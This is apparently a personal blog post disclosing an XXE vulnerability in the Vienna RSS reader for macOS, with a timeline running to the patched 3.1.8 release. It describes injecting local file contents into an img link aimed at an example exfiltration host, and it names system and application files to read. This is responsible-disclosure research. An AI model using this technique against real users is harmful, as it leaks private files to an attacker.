Introduction to Vulnerable Software
Vienna RSS is a free and Open Source RSS/Atom news-reader application for Mac OS X. The project was started by Steve Palmer and is currently under development by Steve, Michael Ströck and Jeff Johnson, as well as many other volunteer contributors around the world.
By 8th of August 2016, I was scrolling along HackerOne Hacktivity to look for some interesting methods that professionals (*wink*) use to exploit vulnerabilities and I discovered External XML Entity (XXE) vulnerability. The report written by the reporter makes XXE look quite simple, thus I went Googling for it. Interestingly, I noticed I had read an article regarding this about XXE in OpenID used to exploit Facebook long ago, but as the payload was redacted, I thought it was just another private exploit. Anyway, I also did some reading about an article I found written by Mike Knoop about exploiting XXE in RSS readers. Back home, I aimlessly dump the sample payload given in the article to test Vienna, the RSS reader I’m currently using. To my surprise, my /etc/passwd file is right in front of me!
Am I using the newest version? By the time of this writing, yes it is!
Exploiting the Vulnerability
Over the week, I kept on doing research on how could I leverage this to send user’s files into a website I control. For some reason, attacking with DTD doesn’t seem to work for me. Instead of focusing on DTD, I decided to move on with another way, the HTML way! It’s as simple as injecting the file contents loaded using XML ENTITY tags into an <img> element using HTML.
Unfortunately, using CDATA wouldn’t work. However, according to the RSS 2.0 Specification, you can use < and > to create HTML elements. As an example, if you want to use the HTML element <b>, all you have to do is changing the opening and closing tags to
There’s a catch!
On testing such vulnerabilities that has capable of reading unauthorised files, the payload that comes to every pentester’s mind would always be /etc/passwd. But wait, let’s see what does Mac OS /etc/passwd starts with:
## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:...
Is that a
# at the beginning? Oh no! If I embed it as the source of the element in the RSS article, it would become:
<img src="http://example.com/readfile.php?data=## #User Database # # Note that...">
That was not good as nothing after the hash symbol is sent to the webserver, which means we will not get anything at all if the file starts with a hash.
After continuous searching, I found a file that could provide the username of the Mac OS user,
/var/log/accountpolicy.log (Note: Sometimes this file doesn’t appear in the user’s Mac OS). To prove my point about this vulnerability, I will be reading the user’s data of external applications, in this case, I will be reading my CyberGhost 5 log file as it is small enough and doesn’t contain symbols that could break the image link. Time to get on brainstorming a working PHP proof of concept!
Reading the Files
After a hard time diagnosing bugs here and there, I’ve finally made a working script and I’ve released the untidy PHP script that does this magic so I won’t do a detailed explanation about it. Basically, it grabs the user’s username through
/var/log/accountpolicy.log and saves it in a file along with the user’s IP address. Upon Vienna loading the RSS feed the second time, the PHP script attempts to grab the log file by accessing
/Users/<username>/Library/Application Support/CyberGhost 5/CyberGhostMacLogScripts.log and saved to an HTML file in the attacker’s web server for later viewing.
Proof of Concept (Video)
Since Vienna RSS is an open-source freeware, they have their scripts released publicly over at Github. I’m not spending too much time searching the root cause, but according to OWASP’s article titled “XML External Entity (XXE) Prevention Cheat Sheet”:
"...to completely disable XXE in an NSXMLDocument in any version of iOS you simply specify NSXMLNodeLoadExternalEntitiesNever when creating the NSXMLDocument."
Searching for the term
NSXMLNodeLoadExternalEntitiesNever yielded no results, so I searched for
NSXMLDocument instead and thankfully there’s only 7 results, out of all the results,
src/RichXMLParser.m‘s name suggests that it could be the culprit. I’m guessing the main problem could be that it is using
NSXMLNodeOptionsNone as all default options are used, including the XXE function. I can’t be too certain of it as I’m not experienced with Objective-C nor am I fond of that programming language, but I suppose replacing
NSXMLNodeLoadExternalEntitiesNever in line 57 and then adding
NSXMLNodeLoadExternalEntitiesNever to line 73 could solve the problem?
UPDATE: Vienna v3.1.8 released
By the night of 26th of November 2016, I checked my unread articles over at Vienna as I would do everytime I switch on my computer. Interestingly, the sample payload that I’ve added into Vienna back in August (mentioned above) suddenly got an unread article! If you’re thinking why did I not delete the subscription, you better not ask for a snapshot of my messy desktop, really, I’m lazy to clean up stuffs. Theoratically, the sample payload wouldn’t have had a new article, as it is only a raw text.
I was puzzled, but when I view the subscription, the new article is titled “&xxe;”. I was still puzzled, how could this even happen? The vulnerability is not reproducable anymore all of a sudden? Did Vienna auto-updated itself without even prompting me to install update? I checked the version.
I was delighted on how the Vienna team took my concern seriously, they released a patch version only 3 days after my initial report. Yesterday when I checked, their v3.1.8 milestone in GitHub was only halfway through. I was thinking they might wait for a few more issues to be patched before releasing the update, but they actually sped up the release of the patched version in order to protect their user’s security and privacy. They are even planning to sandbox the app itself! The fact that they force the update without even prompting the user is great, as no Vienna user will be vulnerable to this anymore. Vienna might be a small simple application, but their development team’s fast response actually impressed me and the way they handled this security issue. Just look at their blog post titled “Vienna 3.1.8 released“:
Vienna 3.1.8 is now available for download. It is a recommended update that includes and important security fix and some bug fixes: Fixed an External XML Entity (XXE) vulnerability which could allow malicious servers to read private files on the machine running Vienna Fix incorrect escaping of OPML export Fix font preferences not working Fix error on unread articles count with OpenReader feeds Fix articles’ list during feed refreshes when the current selection is a smart or group folder
By the way, josh, you have a spelling mistake there, it’s “an” important security fix 😉
08 Aug 2016 – Initial discovery
17 Nov 2016 – Finished and recorded PoC
22 Nov 2016 – Uploaded PoC video
23 Nov 2016 – Reported findings to Vienna team through Github
24 Nov 2016 – Vienna team acknowledged vulnerability and committed patch on Github
26 Nov 2016 – Vienna v3.1.8 released. Removed this blog post’s password for public disclosure